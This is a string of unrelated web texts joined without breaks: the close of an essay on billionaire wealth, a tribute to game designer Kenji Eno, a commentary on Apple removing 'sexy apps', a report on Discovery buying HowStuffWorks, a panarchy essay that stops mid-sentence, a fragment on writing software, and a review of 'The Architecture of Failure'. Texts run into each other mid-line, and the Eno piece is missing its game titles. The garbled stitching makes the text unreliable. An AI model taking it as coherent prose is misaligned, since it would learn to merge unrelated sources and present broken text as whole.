What is striking about the recovery, growth, and expansion of the world’s billionaires is how dependent their accumulation of wealth is based on pillage of state resources; how much of their fortunes were based on neo-liberal policies which led to the takeover at bargain prices of privatized public enterprises; how state de-regulation allows for plunder of the environment to extract resources at the highest rate of return; how the state promoted the expansion of speculative activity in real estate, finance and hedge funds, while encouraging the growth of monopolies, oligopolies and conglomerates which captured “super profits” – rates above the ‘historical level’. Billionaires in the BRICs and in the older imperial centers (Europe, US and Japan) have been the primary tax beneficiaries of reductions and elimination of social programs and labor rights.
What is absolutely clear is that the state not the market plays a essential role in facilitating the greatest concentration and centralization of wealth in world history, whether in facilitating the plundering of the treasury and the environment or in heightening the direct and indirect exploitation of labor.
The variations in the paths to ‘billionaire’ status are striking: in the US and UK, the parasitical – speculative sector predominates over the productive; among the BRICs – with the exception of Russia diverse sectors incorporating manufacturers, software, finance and agro-mineral billionaires predominate. In China the abysmal economic gap between the billionaires and the working class, between real estate speculators and dispossessed household is lead to increasing class conflict and challenges, forcing significant increases in wages (over 20% the past 3 years) and demands for increased public spending on education, health and housing. Nothing comparable is occurring in the US, EU or in the other BRICs.
The sources of billionaire wealth are, at best,only partially due to ‘entrepreneurial innovations’. Their wealth may have begun, at an earlier phase, from producing useful goods and services; but as the capitalist economies ‘mature’ and shift toward finance, overseas markets and the search for higher profits by imposing neo-liberal policies, the economic profile of the billionaire class shifts toward the parasitical model of the established imperial centers.
The billionaires in the BRICs, Turkey and Israel contrast sharply from the Middle East oil billionaires who are ‘rentiers’ living off ‘rents’ from exploiting oil and gas and overseas investments especially in the FIRE sector. Among the BRICs only the Russian billionaire oligarchs resemble the rentiers of the Gulf. The rest, especially Chinese, Indian, Brazilian and Turkish billionaires have taken advantage of state promoted industrial policies to concentrate wealth under the rhetoric of ‘national champions’, promoting their own ‘interests’ in the name of a “successful emerging economy”. But the basic class questions remains: “growth for whom and who benefits?”. So far the historical record shows that growth of billionaires has been based on a highly polarized economy in which the state serves the new class of billionaires, whether parasitical speculators as in the US, rentier pillagers of the state and environment such as Russia and the Gulf states or exploiters of labor such as in the BRICs.
Post Script
The Arab revolt can be seen in part as an effort to overthrow ‘rentier capitalist clans’. Western intervention in the revolts and support of the “opposition” military and political elites is an effort to substitute a ‘neo-liberal’ capitalist ruling class.This “new class”would be based on the exploitation of labor and dispossession of current crony-clan-kin owners of resources Major enterprises would be transferred to multi-nationals and local capitalists. Much more promising are the internal working struggles in China and to lesser degree in Brazil and the rural based Maoist peasant and tribal movements in India which oppose rentier and capitalist exploitation and dispossession.Warp to the past
Who will carry on?
On February 20, 2013, the game industry lost one of its few great iconoclasts. This was the date when Kenji Eno, known for games like, and, passed away, leaving a legacy as a creative force that would not be tamed, and which would not bow down. And in our industry, we desperately need more people like him.Eno began creating run of the mill action games in the NES era, but quickly became frustrated with both the style of game and the size of the company, as it grew from 10 to 30 people. He quit his stable job, and formed his own company (called EIM) because he wanted to control his creative destiny.It soon became evident that in order to keep his employees fed, he would have to make licensed games, which, as he told consumer publication EGM in his last big interview in 2008, made him so upset that he became "mentally unstable." This was so far counter to what he wanted to do that he couldn�t even go into his own office.He wanted to work on original things � after all, that's why he became independent in the first place � so he closed the company and left the industry entirely for a time. He began working at an auto magazine, but the itch to return to games was too strong. Upon his return, he founded Warp, the developer for which he's best known.Though quitting a job or closing a company because of creative integrity is already rather rare, it's at Warp that he made his biggest impression. When creating the game, he wanted to shock players out of their complacency, and make them think differently about games. (The shocker, in this case, was a scene involving cannibalism.) He figured the censors wouldn't allow this scene to pass, so he submitted a clean version of his gold master after the deadline, knowing that he would have to hand-deliver the final disc by plane.The clean version was approved, and while he was in-flight he switched the discs to the one he really wanted to show the world, sneaking his cannibalism scene into the game under the publisher's nose. The game then went on to sell one million copies in Japan alone.It's rash, and may seem irresponsible to some -- it would most likely be the subject of a lawsuit, in this day and age. But how many of us would go so far to create something we believe in? We've seen a few in the last few years, and most of them have gone completely independent, eschewing the traditional game industry entirely. In many ways, Eno was the prototypical indie developer, shouting in the face of authority.His next big game,, was meant to be for the PlayStation. His team had already started developing for Sony's platform, but he was upset with how Sony had short-changed his shipment of, shipping less than a third of what they said they would. So he took his revenge at a Sony press conference. As he walked out on stage to announce his new title, the screen behind him showed a PlayStation logo... that quietly warped into a Sega Saturn logo, and he went on to announce his game for Sony's rival platform, at their own event, simply because they'd backed out of a promise.He wasn't going to take any slight lying down. How often have we all had to grin and bear similar indignities, with no way to vent our frustrations?Whenwas finally released on the Saturn, he made a limited run of 20 special editions, and if you paid $2,000 for one, he would hand-deliver the game to you. They sold out immediately, and Eno drove his truck across Japan delivering games to his customers. He had always wanted to have a direct relationship with players of his games, and here now was a way. In the current day and age, this is a common high-tier Kickstarter reward � hang out with the developers for a bit, and get your game hand-delivered. Eno did this in 1996.For his next game, Sega wanted to make it an exclusive � whatever it was. Eno had recently met with some sight-impaired folks who liked to play action games, and he asked himself, "What if you made a game that the blind and the sighted could play equally?" So he created the game, which is an audio-only retail game, and made Sega promise that if he made the game exclusive to them, they would donate 1,000 Saturns to blind people, and he would supply 1,000 copies of the game. Again, this was an unusual idea for 1996, but he felt the stagnancy of the industry, and went to great lengths to shake it up.His next game,, came during the next generation of consoles;had moved to the Dreamcast, and he found himself making a "normal" game again. As he told EGM, "I had all of these kinds of ideas [in the past] because I was seeing the game industry from the outside. But around the time of, I felt like I was getting too close to the inside; I felt like I was turning into a normal game creator." And so around 1999 he left the game industry yet again, to refresh his perspective, becoming a creative consultant for a variety of industries.But he just couldn't leave games completely alone. I first met him in 2005 at an E3 event, even though he wouldn't go on to release another game for several years. He impressed me as a wild force of personality and eccentricities, but also of principle. His urge to create was strong, so eventually he did come back to games in 2008, but not as the powerhouse he was before. Some of the fire was gone - Eno was no longer making headlines or fiercely challenging industry norms - but the creative force remained.Just last year, for example, I was at a potluck in Brooklyn with some interactive media artist-types, and one was telling me about how his company had gotten a lot of press and recognition for an iPhone game sendup about just chasing one pixel around on a screen. They had just made this thing in early 2012. "That�s funny," I said, "Kenji Eno did this already, way back in 2009, with a game called." He may not have been the firecracker he was earlier in his career, but he was still blazing the occasional trail.After Eno's death, I was speaking to NanaOn-Sha president Masaya Matsuura about the loss, and he told me this: "[English psychedelic rock pioneer] Kevin Ayers also passed away, on February 18th, and a note was found by his bed which said, 'You can't shine if you don�t burn.' These words fit with Kenjis memories for me."The traditional game industry � the sector characterized by the developer/publisher relationship, big budgets, and a focus on developing for consoles � is shrinking, and it won�t be saved by the companies pumping millions of dollars into sequels.If the traditional game industry wants to survive, it needs to identify and support its iconoclasts � people who believe in what they're doing so much that they will risk everything to make it happen. Eno proved you could be an iconoclast and still be successful. He proved that you can have a wildly creative career and still be a success.At the moment, we have plenty of iconoclasts�but aren't they all indies? Notch, for example has blazed his own path withand its business model. It's not because he fights the power, but because he doesn't care about "the power." He has rocketed past most of the big companies that keep developers under their thumbs. But he's outside the traditional game industry.What does Sega or Sony or Activision mean to him, other than companies that occasionally make games he might like to play? Who will be Activision's champion now? When the founders of Infinity Ward go on to sue their former employers, only to get funding from EA, can our current infrastructure even support such dissidents?Kenji Eno was that sort of champion, and now that he's gone, we need more people like him. Lots more, if we want traditional games to evolve and change with the times. We need more people who are willing to take the world on their backs in order to make it move. Maybe we need to take breaks from games and get some outside perspective, like Eno did. Maybe we need to believe in ourselves more, and believe in the power of our own ideas. But no matter what, we need to stop spinning in place with genre and theme and play style, and move forward. I'll leave you with another line from Eno, given during that EGM interview."I want to move forward. You have a short life; you're going to die someday. So I don't want to waste my time looking back on something I did in the past."Tits and Apps
So with this whole thing where Apple has removed and banned like 5,000 “sexy apps” from the App Store, I think I’ve figured out the reason why, including why they’re granting exceptions to established names like Sports Illustrated, Playboy, and Victoria’s Secret. It’s about branding. Let me just state right here up front that I don’t agree with or like how they’re doing this. I’m just trying to make sense of it.
It’s easier, though, to first run through what this is not about.
I’ve seen a lot of speculation that the exceptions are about money. I.e. that Apple wanted to ban the sexy apps but left the big-name ones in because they don’t want to lose their 30 percent cut of the money these apps generate. That doesn’t hold water, though — a slew of apps that have been banned were top sellers, established brand names or not. If it were just about revenue, Apple would have left them all in the store.
Henry Blodget speculates that the established brand-name exceptions are about setting up deals for iPad apps from the companies behind them. But that’s just a variation on the “it’s about the money” argument. Again, if Apple’s interest here was about money, they wouldn’t be banning any of these apps in the first place. Apple is not going to be hard up for iPad apps and content. If anything, I suspect the problem with iPad apps will be just like that with iPhone apps — too many of them, not too few.1
Another iPad-related theory — suggested by several DF readers via email — is that it’s about the education market. The idea being that Apple wants to sell iPads to schools and therefore wants anything even remotely objectionable out of the App Store. But institutional iPads will be managed devices, just like “enterprise” iPhones are today. Students using a school-owned iPad won’t be able to install apps from the App Store, so it doesn’t really matter which apps are for sale.
Lastly, if you think about it, it’s clearly not about banning porno and bikini-clad-semi-porno from the iPhone entirely. MG Siegler writes:
Apple is going through all this trouble of removing these apps, and creating more work in scanning for the next sexy apps to reject, when built into every iPhone and iPod touch is not one, but two huge entry points for explicit material — and both are apps made by Apple themselves. The first, I alluded to above: iTunes. There are no shortage of films and TV shows with nudity and sexual content (along with violence and everything else) that are available on iTunes for purchase on the device. The same is true for explicit music. But the second app is far worse: Safari. Each iPhone and iPod touch has a web browser that is more than capable of accessing any site on the web with a few clicks. This includes sites with hardcore pornography, or anything else a teenage kid can dream up. Apple is going through all this trouble to block sexy apps (which have never contained nudity, by the way, just sexy pictures), when they offer one of their own that makes it much easier to find far more sinister content.
Siegler is correct that MobileSafari is completely open to anything and everything published on the web. But he draws the wrong conclusion. Apple isn’t futilely trying to ban this sort of content from the iPhone. They’re just removing it from the App Store. Think about a physical world analogy to the retail Apple Stores. There’s all sorts of software (and hardware) you can buy and install for Macs that Apple would never sell in their stores.
The purest representation of the Apple brand is Apple’s own remarkably small (for a company of its size) lineup of products. Retail Apple Stores (and Apple’s web store) are a slightly expanded representation of its brand — they sell many third-party products, but they are carefully selected by Apple itself.
The App Store is looser. The vast majority of the 150,000+ available titles would not be there if Apple were managing the App Store the way they manage their retail stores. It’s good that it’s looser. It almost has to be. (It’s pretty hard to find people complaining that Apple allows too many titles into the App Store.)
But, still, Apple sees the App Store as an extension of the Apple brand. That’s why flat-out pornography has never been and never will be allowed. You can walk into a Barnes and Noble and buy a copy of Maxim, but you won’t find a copy of Hustler. Not because Hustler wouldn’t sell, but because selling pornography goes against the Barnes and Noble brand.
I think what Apple was getting squeamish about wasn’t the sexy apps themselves, but the cheesiness that the sexy apps (and their prominence in best selling lists) was bestowing upon the general feel and vibe of the App Store. One thing I wasn’t aware of before the recent crackdown was the degree to which these apps were seeping into various non-entertainment categories. E.g., like half the “new” apps in the “productivity” category featured imagery of large-breasted bikini-clad women.
The App Store is never going to be like Apple’s retail stores, and Apple knows it. Apple’s retail stores, branding-wise, convey an image sort of like between the Gap and Banana Republic — friendly premium. The App Store is more Old Navy, or maybe even Target. But these sexy apps were casting the App Store into something junkier, bordering on the skeevy.
What iPhone users choose to access through MobileSafari doesn’t reflect on Apple. But what is listed in the App Store does reflect on Apple. What you see when you peruse the App Store effectively is the App Store.
So what I see as hypocritical about Apple’s decision here is not about the fact that you can access the same sort of content via MobileSafari, but rather about the exceptions granted to Sports Illustrated, etc. I see why: Sports Illustrated, Victoria’s Secret, and Playboy are not just strong brands but also quality brands. But who’s to say some new brand couldn’t be just as good? The best apps in all sorts of categories across the board in the App Store are frequently from new companies, building new brands. It’s no more fair for the “hot chicks in bikinis” category to be occupied solely by existing major brands like Sports Illustrated/Victoria’s Secret/Playboy than it would be if the, say, photo manipulation category were occupied solely by Adobe and Corel, or if games were only allowed from companies like EA.
If Apple’s going to allow any of these apps, they ought to allow all of them. They should be evaluated by content, not by the names submitting them. If Apple doesn’t want these apps boogering up the best-seller lists in various categories across the App Store, they should assign them all to a single category. (Tough job: finding a name for that category.)
The other thing that bothers me, and ought to bother Apple, is the obvious capriciousness with which these apps were removed. These apps were allowed for about a year and a half. Some developers were prospering by them. And then, boom, they were gone. The reason Apple ought to be concerned about this is that it unsettles all developers — even those whose apps and ideas for future apps were nowhere along the lines of girls-in-bikinis. What developers see here isn’t Apple managing its own brand. What developers see is that the App Store is a shaky foundation upon which to build a business. One day you’re prospering, the next day your app is gone. There are awesome iPhone OS apps that aren’t being built because developers don’t trust Apple not to yank the carpet out from underneath them.
Apple sees the App Store as an aspect of its brand. Developers see the App Store as the entirety of the Cocoa Touch platform. This is a significant conflict. Developers, if rejected from the App Store, can freely deliver whatever content they choose through MobileSafari — but you can’t reuse compiled Cocoa Touch apps that way. The work invested in a native app can only be recouped through the App Store.
It’s entrepreneurism to be willing to take your chances in the market. It’s healthy skepticism to worry about being locked out of the market after you’ve already invested heavily in building your product.Discovery Networks have acquired How Stuff Works for $250 million.
According to a Wall Street Journal report, Discovery plans to use the site “as the cornerstone of an effort to bring its vast library of video content to the Web.” Discovery previously acquired environmentally focused blog TreeHugger.com for $10 million in August.
How Stuff Works is a long standing provider of edutainment content on the web. The site was founded in 1998 by former North Carolina State University professor Marshall Brain, took venture capital at the height of the first web boom in 1999 and was acquired by the Convex Group in 2002.
According to Alexa, How Stuff Works has passed its glory days of popularity, having peaked in 2005 and declined in traffic since then, however the site still ranks in the top 2000 sites online. (Ed.’s note: comScore shows HowStuffWorks with 3.9 million unique U.S. visitors in September, up 74 percent from a year ago, and with 18 million page views, up 40 percent).DIGG THIS
Google turns up only 657 hits for "Everything the government touches turns to." It seems to be an unfamiliar statement. I first heard it in the 1970s from a Chicago economist named Karl Brunner. It is attributed to Ringo Starr, of Beatles fame. The whole statement is "Everything the government touches turns to s**t."
Ringo’s aphorism is true. As long as a country like ours is under The One and Single government, this will be so. No isolated person and no isolated private sector institution, be it church, company, institute, or university, is a match for the size and power of a national government like that of America. Any industry that the government touches is no match for the government’s power. That industry will deteriorate, fade, kowtow to government, lose its innovative powers, misdirect its investment, seek subsidies, pay tribute to politicians, try to become a cartel, and eventually lose any semblance of operating in a truly free market. The government has the power to kill any free market. It has done this to industry after industry and market after market. Worse still, since everything the government touches turns to s**t, and since the government’s powers allow it to touch more and more things, we have a situation of deterioration. I could say the same thing about individual freedoms.
At the moment, the national government imposes its paralyzing vision on everything in its territorial domain of power. State, city, town, and village governments are often as much ordered about and forced into measures as any of us. They do not currently give us the degree of competition in governance that would free up the system.
But as much as I believe all the above is true, I am vastly outnumbered by those Americans who disagree with me. This article is about how most of us, I would hope, can become better off, despite our differences, by having the government of our choice all the time.
Americans are divided politically. That is natural. There is no way that we will ever be united on political matters, any more than we are united on religion. And being united on political matters is neither necessary to improve the situation we are in nor a good idea. Libertarians cannot convert large numbers of Democrats to libertarianism. Democrats cannot convert large numbers of Republicans. Anarchists cannot convert large numbers of libertarians to anarchism. Anyway, most of us are interested first and foremost in improving our own situation, not that of everyone else in general.
To move forward, we do need some area of agreement. Otherwise, if and when our national government fails, we will end up dividing into clans and sects and fighting one another to see who will impose his vision on the rest. Or else, we will fail to take full advantage of the opportunity that such a breakup and failure would provide us. The Soviet Union broke up, and the peoples immediately placed themselves into and under States again. They did not learn from experience. They were not ready to advance the nature of their governance.
The attitudes of people to the situation of deterioration that I see vary all over the map. I may see deterioration, but many others see no problem at all. Some think doomsday lies directly ahead. Some don’t care. Some have given up hope. It is an important political fact that attitudes vary. This matters a great deal because a person’s happiness depends on such attitudes, and each of us has a right to pursue happiness as we see fit (within the normal boundaries of natural law.)
Attitudes are also held firmly. No number of articles by me and no number of letters and e-mails between me and people who disagree with me are likely to convert them to my way of thinking. If someone likes the Social Security program and likes subsidized housing, I cannot convert them. And if I try, they will feel threatened by my message and dig in their heels. Pointing out truths in articles is one thing. Pushing for conversions is another. You are the best judge of your own welfare. You do not want to be ruled by me any more than I want to be ruled by you. That mutual attitude gives us the common ground we need to forge a new way of living together.
I therefore do not ask for anyone to convert to my way of thinking. I ask only for one thing: Give me my freedom from your government. Correspondingly, I give you the freedom to have your government — with one important stipulation. It is that neither of us demand that the other remove himself from the country (this land, this place, and this people) that we both cherish. If you want social insurance programs delivered by your government, then, by all means, have them. I will not stop you. Will you then allow me to live my life without being forced into your programs? Will you allow me to have the governance of my choice if you have yours, both of us living in this land we now call America? Will you allow each of us to have the non-territorial government of our choice? Will you allow alternative governments operating over the same territory but on different self-chosen constituencies? Will you endorse that as an ideal?
This ideal, freedom of choice in governance, is eminently just. It is a natural right that flows directly from our rights to life, liberty, and the pursuit of happiness. It is why we have a multitude of native nations within the boundaries of the U.S. "Under this policy, the U.S. recognizes 550 native nations within its borders. These are not state or federal agencies. This policy was established in 1970 by President Richard Nixon and reaffirmed on June 14, 1991 by President George Bush."
Cannot non-native Americans gain the same rights as native Americans and have their own governance?
Governance involves various goods that we perceive governance brings us. Each person has different views of what those goods are, what they are worth, and how to attain them. If I argue for individual liberty, as I do, then I logically must argue for your freedom to choose those goods that you wish to consume in non-free markets. Freedom of choice in government encompasses your freedom to trade off some of that freedom for the sake of being ruled by others, if that is what makes you happy. If I believe in freedom, I cannot force other people to run their lives with the freedoms that I may value and think good and proper. But neither may they justly force me into their views of government and into the government that they choose.
The situation we are in today is a situation of force, for both statists and non-statists, for both anarchists and minarchists, for Democrats, Republicans, and those who prefer third parties. Many of us are seeking the power to control everyone else and remake society in our vision. We need to agree to call a halt to that process if we are ever to move forward.
I am proposing non-territorial self-determination (panarchy). The notion of self-determination needs to be thoroughly revamped in order to remove its territorial context. Otherwise, it is contradictory and leads into conflicts and civil wars. Georgians leave the Soviet Union, for example, but then a portion of them are not allowed to secede. The colonies gain independence from England, but then when the South secedes from the North, a terrible war follows as the North tries to prevent it.
In Wikipedia, we find "Self-determination is defined as free choice of one’s own acts without external compulsion, and especially as the freedom of the people of a given territory to determine their own political status or independence from their current state." This definition is flawed, because it restricts self-determination to a people of a given territory. In practice, however, any existing government demands allegiance of everyone in a given territory, so that self-determination as thus defined is internally contradictory.
Non-territorial self-determination means that each person has a right to determine (or choose) the government or governing institutions that he or she wants, on a voluntary and non-compelled basis. This means that in a given region, there may co-exist a number of governments. And persons choose the one or perhaps ones they wish to join. These governments may retain the sovereignty and legitimacy that the subject peoples grant them, but they will differ drastically from existing governments in one respect: they will not necessarily be territorial. They will not force everyone in a given region to be under their rule. (They can be territorial to the extent that people willingly aggregate land and separate themselves.)
We can move forward. But to do so we need the liberty to have competing governments on the soil we now call America in the same way that we have competing churches, supermarkets, towns, states, and universities. We can open up the immense possibilities of handling our governance in more effective ways. They will be ways of self-government that involve freely-chosen governance, in which it will be possible to opt out easily from badly-functioning governance.
It should be as easy to stop feeding a government we dislike with our hard-earned resources as it is to change gas stations. It should be as easy to change schools as it is to change the supermarkets we patronize.
We take government for granted because we each have so little influence on it. We take the short view. In doing that, we shortchange ourselves and our progeny. If we think about changing the basic structure of government, then we will start doing some important homework that we tend to neglect. If we had a choice of governance institutions, not just candidates for a given form of government, we’d pay far more attention to governance.
There are clues to progress that we need to investigate. Some governments are better than others. We should ask why. Governments sometimes do some things better than other things. We should ask why. Government frequently does far worse than no government at all. We should ask why. Governments frequently start out in hope and end in despair. We should ask why.
We cannot move ahead unless we are willing to abandon the erroneous beliefs we take for granted and do not question. Chief among these is that government must be territorial and control vast amounts of territory and the people who live in them. In Erie County alone, there are 3 cities and 25 towns in an area covering roughly 30 miles by 35 miles. Erie is one of 62 counties in New York State.
A town is a semi-territorial form of government. No town claims to cover the entire county, but each town governs a given area. Within my town, there is already divided jurisdiction over roads. A county road can join a town road which joins a state road. There are already divided police forces. There is already an array of different park systems, school systems, and sewer systems.
No one of us has a roadmap to non-territorial self-determination or can even define it fully. The argument that it is the right course and a right goal is strong. The argument that it will improve over our current situation is strong.
This is a goal that can find agreement from groups that are otherwise highly antagonistic in their political views. Home-grown Nazis can sit down with anarchists and agree that each has a right to its own non-territorial self-determination. Can Democrats and Republicans learn to tolerate each other if each has its own institutions? A |
. Trash is self-explanatory. Scrivener supports exporting and importing documents, horizontal or vertical split screen editing and more. (Buy your copy here: Scrivener)
If you would like to know more about Scrivener, you can find a video tutorial here.
4. MindManager Mind Mapping Mind mapping is great if you’re in the brainstorming or idea phase. If you’re not already familiar with it, it is the process of building upon an idea in the same way the brain thinks. Your novel idea will go in the centre and then you’ll build upon it through adding different spokes or sub-topics. Fortunately, there is a tool that can help writers called MindManager from MindJet Software Company. It displays information in mind maps using words, colours, images and spatial relationships to manage different information. MindManager has 30 days free trial version that you can find here. (click ‘Try MindManager Free’). Don’t limit yourself to just words! Any central topic or spoke can be a phrase or a picture. Be creative.
5. XMind
XMind is a powerful Mind Mapping software tool that you can download free here. It works for all three major operating systems: Windows, Mac and Linux. It’s free and the free version does not limit you to a certain amount of mind maps like other free software out there.
Each workbook can contain multiple sheets. You use these to break up chapters or to plan each character’s development. From the central topic, you have sub-topics, which when stacked on top of each other take on the shape of a list. You can add notes and photos to each sub-topic to elaborate on that particular item. You can use the drill down feature to view a sub-topic as if it were the central topic to help you focus just on that particular item and build it out further.
There are other stylistic features. You can use colour codes for different aspects of your novel, marker symbols for different topics, a simple text editor, and much more. You can also watch a great video tutorial of the video here to learn more about XMind.A review of
Architecture of Failure Douglas Murphy’s (2012)
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Image: Cover to Douglas Murphy’s
Architecture of Failure (2012)
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The following review was published in shortened form several weeks ago in Radical Philosophy 181. Included here are some passages that were excised from the final printed version, as well as some footnotes.
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Douglas Murphy’s debut, The Architecture of Failure (2012), is an odd and unsettling monograph. The book begins with a description of our present moment as heralding “a new period of Ruinenlust,” in which there exists a preponderant passion for the ruins of modernity, as opposed to Romanticism’s earlier infatuation with the ruins of antiquity. Like his peer, the British architecture critic Owen Hatherley, Murphy sets out to recover through his study the image of “a potential future that only existed in the past.”1 Whereas Hatherley approaches this theme head-on, however — directly confronting the avant-garde legacy in his 2009 manifesto, Militant Modernism — Murphy prefers to address it more obliquely.2 The Architecture of Failure looks at the spans of time that bracket the modern movement on either side. Murphy opens with an examination of the “ferro-vitreous” age, from Paxton’s Crystal Palace of 1851 to Dutert’s 1889 Galerie des Machines. The second half of the book covers the drift from exhausted postwar modernism toward the renewal of architectural transparency following the turbulence and upheaval of 1968.3
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Certain peculiarities complicate what is otherwise a solid and convincing, if perhaps a bit oversubtle, thesis. One of The Architecture of Failure’s more confusing features is the structural asymmetry of its two sections. While the first part of the book is devoted to an interpretation of three specific buildings of the iron and glass age — the glamorous Crystal Palace at Hyde Park, its decidedly less spectacular reincarnation at Sydenham two years later, and the ill-fated Albert Palace off the River Thames — the second part instead deals with three general trends within post-’68 architecture — trends that Murphy christens Solutionism, Iconism, and Virtualism.7 This imbalance can be slightly disconcerting for readers who anticipate a continuation of detailed analyses of individual structures beyond the earlier chapters. To be sure, the chapters on Solutionism (postmodernism/“high-tech,” roughly) and Iconism (post-structuralism/“decon,” again roughly) include passing treatments of Renzo Piano’s Pompidou Center in Paris and Frank Gehry’s Guggenheim Museum in Bilbao.8 But Virtualism, a kind of Deleuzean neo-baroque, finds no built equivalent. Its reality is instead displaced onto the unconstrained imaginary space of digital “diagrams,” allowing for infinitesimally intricate, schizoid patterns of design.9
In fact, there is a way in which the second half of the book almost forms a microcosm of the original Crystal Palace at Hyde Park described in the first. Following a brief interlude near the middle where Murphy touches on the modernist moment, the architectonic of his argument opens up, beginning to resemble the format of a classic nineteenth-century Expo. Solutionism, Iconism, and Virtualism are itemized, stereotyped, and put on display, as if laid out in booths or pavilions that the reader-flâneur can wander spectrally to and from. If not an historicist inventory of styles, The Architecture of Failure at least in this respect showcases the various ideologemes, mannerisms, and rhetorical conceits that comprise contemporary architecture. Murphy recapitulates this Expo effect in miniature modules, outlining the characteristics that most exemplify each tendency.
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But Murphy’s sympathy for interdisciplinary usages of “Theory” only extends so far. His criticism of the role it has played in recent architecture is twofold. At one level, he objects to its superficiality. Murphy has little patience for building proposals that look to press “Theory” into service in order to fulfill arbitrary stylistic ends. He therefore faults some practitioners for “bringing theory into architecture as a purely aesthetic device.”13 Relatively speaking, however, this part of Murphy’s criticism is rather tame. Its other side is, by contrast, far more damning. For insofar as it supposedly constitutes a form of “radical critique,” he contends, “Theory” functions to exonerate architects in advance for whatever oversights or questionable design decisions they might make. It becomes a kind of ritualistic gesture, simply “a way of avoiding a wider self-criticism.”14 By citing the right authors and referencing the right texts, the book alleges, architects are able to set up an ideological smokescreen so as to disguise the actual content of their activity.
Murphy does not mince words condemning such methods, however. Those who rely on them are, to his mind, nothing more than “conservatives masquerading in ‘radical’ clothes.”15 Still, The Architecture of Failure wisely refrains from committing the opposite error of denying all legitimacy to theoretical explorations of architecture. Generally speaking, the stance Murphy adopts toward the predominance of “Theory” in the field of contemporary architecture is far more nuanced than those that either blithely celebrate its sophistication or sneeringly dismiss it out of hand. Ultimately, his appraisal of its effect is historical in the way it gauges the cumulative influence of “Theory” upon the discipline: “Difference is becoming standardized, the unique is becoming generic.”16
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“The Crystal Palace was certainly one of the most significant early moments of modern capitalism,” Murphy writes. “Indeed, it is widely described as the moment in which modern (or even postmodern) capitalist culture was born, the point at which the gaze of capitalism first turned back upon itself and the symbolic value of the products that it was consuming; the very beginnings of ‘the spectacle.’”18 This spectacular reflexivity, whereby men stand transfixed before the products of their labor, is part and parcel of the phenomenon of reification. Incidentally, this also allows Murphy to establish a homology between the Crystal Palace (1851) and the Pompidou Center (1971) in relation to their time. Whereas the former recalls liberal policies of laissez-faire and free trade promulgated by Cobden and the Manchester School, the latter conjures up associations with neoliberal policies of deregulation and financialization as formulated by Hayek and the Austrian School:
The Pompidou Center marks the largest attempt to elaborate the theoretical and practical concerns of the period in a single building; and we can compare it to the Crystal Palace in a number of interesting ways: both were commissioned by the state, both were conceived within the context of periods of social unrest, both called for an unprecedented program of display…Finally, both were “radical” designs by relative outsiders, won through public competition. Rogers and Piano’s winning design…hinged upon notions of flexibility; the building would be a massive shed with little or no internal division; massive moveable internal spaces serviced entirely from their periphery would be created; the designers would merely provide the space for “events,” with all the post-’68 connotations that the word brought up.
Once again Murphy emphasizes the element of “social unrest” that lay behind the building of the structure, in this case the Pompidou Center. The passage is packed with a number of embedded references, which might be briefly borne out: “flexibility” suggests the well-known Marxian interpretation of neoliberalism as a regime of “flexible accumulation”;19 the description of Pompidou as a “massive shed” calls to mind Brown and Venturi’s populist ideal of the “decorated shed”;20 the word “event,” as Murphy mentions in passing, acquired unmistakable political overtones after the “events” of 1968 (particularly in French Theory).21 As before with the Crystal Palace, the Pompidou is understood as a spatial manifestation of broader historical forces. Murphy draws another parallel between the two buildings, this time in terms of their epochal significance. “[J]ust as the Great Exhibition can be analyzed as marking a fundamental shift, the birth of the modern consumer,” he writes, “the Pompidou Center can signify the shift into the postmodern world of consumption.”22
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All this should raise some questions regarding the nature of the “failure” contained in the book’s title. What sort of failure is Murphy investigating in The Architecture of Failure? Though the author insists that the issues discussed in the text are “as much architectural issues as any other kind,” it is difficult not to feel that there is something more at stake.25 Murphy is engaging in a species of ideology critique — a “critique of architectural ideology” in the vein of Tafuri.26 Some of the failures portrayed in the book are strictly architectural in character, but more often than not these failures attest to deeper political failures that have taken place in society over the last sesquicentennial. Murphy’s The Architecture of Failure skillfully maneuvers over diverse historical terrain without ever losing sight of this central thematic, using architecture as a lens through which the political regression of recent times may be viewed with melancholic lucidity.
Notes
1 Murphy, Douglas. The Architecture of Failure. (Zero Books. Washington, DC: 2012). Pgs. 1-2.
2 Compare: “We have been cheated out of the future, yet the future’s ruins lie about us, hidden or ostentatiously rotting. So what would it mean, then, to look for the future’s remnants?” Hatherley, Owen. Militant Modernism. (Zero Books. Washington, D.C.: 2009). Pg. 3.
3 Murphy, The Architecture of Failure. Pg. 76.
4 Ibid., pg. 138.
5 Ibid., pg. 139.
6 Ibid., pg. 3.
7 The book’s structure runs as follows. Part I — the Crystal Palace at Hyde Park: ibid., pgs. 12-23; at Sydenham: ibid., pgs. 24-43; the Albert Palace: ibid., pgs. 44-60. Part II — Solutionism: ibid., pgs. 77-98; Iconism: ibid., pgs. 99-118; Virtualism: ibid., pgs. 119-137.
8 On Pompidou: ibid., pgs. 84-86, 97, 118; on Guggenheim Bilbao: ibid., pgs. 100, 113-116, 121.
9 On “diagramming”: ibid., pgs. 123-125, 127, 134; on “schizophrenic processes”: ibid., pg. 122.
10 On Schumacher: ibid., pg. 135; on Eisenman: ibid., pg. 105.
11 Ibid., pg. 103.
12 On Derrida: ibid., pgs. 20-21, 38-39, 59-60, 107, 109, 119; on Benjamin: ibid., pgs. 34-35, 59-60; on Deleuze and Guattari: ibid., pgs. 122-130, 134. On the irony: ibid., pgs. 100-101.
13 Ibid., pg. 107.
14 Ibid., pg. 104.
15 Ibid., pg. 111.
16 Ibid., pg. 136.
17 Ibid., pgs. 22-23.
18 Ibid., pg. 23.
19 Harvey, David. The Condition of Postmodernity. (Blackwell Publishers. Cambridge, MA: 1990). Pgs. 141-172.
20 Brown, Denise Scott and Venturi, Robert. Learning from Las Vegas: The Forgotten Symbolism of Architectural Form. (MIT Press. Cambridge, MA: 1972). Pgs. 87-89.
21 Some prominent examples include Deleuze, Gilles. Difference and Repetition. Translated by Paul Patton. (Columbia University Press. New York, NY: 1994). Pgs. 89, 93,187-192. Original from 1968.
…….Barthes, Roland. “Writing the Event.” Translated by Richard Howard. The Rustle of Language. (University of California Press. Los Angeles, CA: 1986). Pgs. 149-155. Original from 1968.
…….Derrida, Jacques. “Signature Event Context.” Translated by Alan Bass. The Margins of Philosophy. (The Harvester Press. Chicago, IL: 1982). Pgs. 307-330. Original from 1971.
22 Murphy, The Architecture of Failure. Pgs. 84-85.
23 Ibid., pg. 69.
24 Ibid., pg. 80.
25 Ibid., pg. 23.
26 Tafuri, Manfredo. “Toward a Critique of Architectural Ideology.” Translated by K. Michael Hays. Architectural Theory since 1968. (The MIT Press. Cambridge, MA: 1998). Pg. 29.
